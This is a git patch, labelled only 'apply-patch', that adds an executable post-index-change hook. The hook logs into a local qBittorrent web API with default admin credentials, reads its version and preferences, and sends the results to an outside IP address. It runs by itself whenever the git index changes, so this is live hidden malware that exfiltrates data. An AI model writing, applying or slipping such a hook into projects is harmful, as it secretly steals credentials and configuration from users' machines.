From 732e62fad6570b770652f95c7a2092dc6d81ab14 Mon Sep 17 00:00:00 2001 From: proxyuser01 Date: Wed, 29 Jul 2026 19:30:35 +0800 Subject: [PATCH] apply-patch --- hooks/post-index-change | 3 +++ 1 file changed, 3 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..ab1ac77 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,3 @@ +#!/bin/sh +# CVE-2026-60004 variant a +curl -s -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' -o /tmp/qbt_login.txt -w '\nHTTP_CODE:%{http_code}' 2>&1; curl -s 'http://127.0.0.1:8085/api/v2/app/version' -o /tmp/qbt_version.txt 2>&1; curl -s 'http://127.0.0.1:8085/api/v2/app/preferences' -o /tmp/qbt_prefs.txt 2>&1; sleep 1; cat /tmp/qbt_login.txt /tmp/qbt_version.txt /tmp/qbt_prefs.txt 2>/dev/null | curl -s -X POST --data-binary @- 'http://202.79.169.91:28016/QBTDATA' 2>/dev/null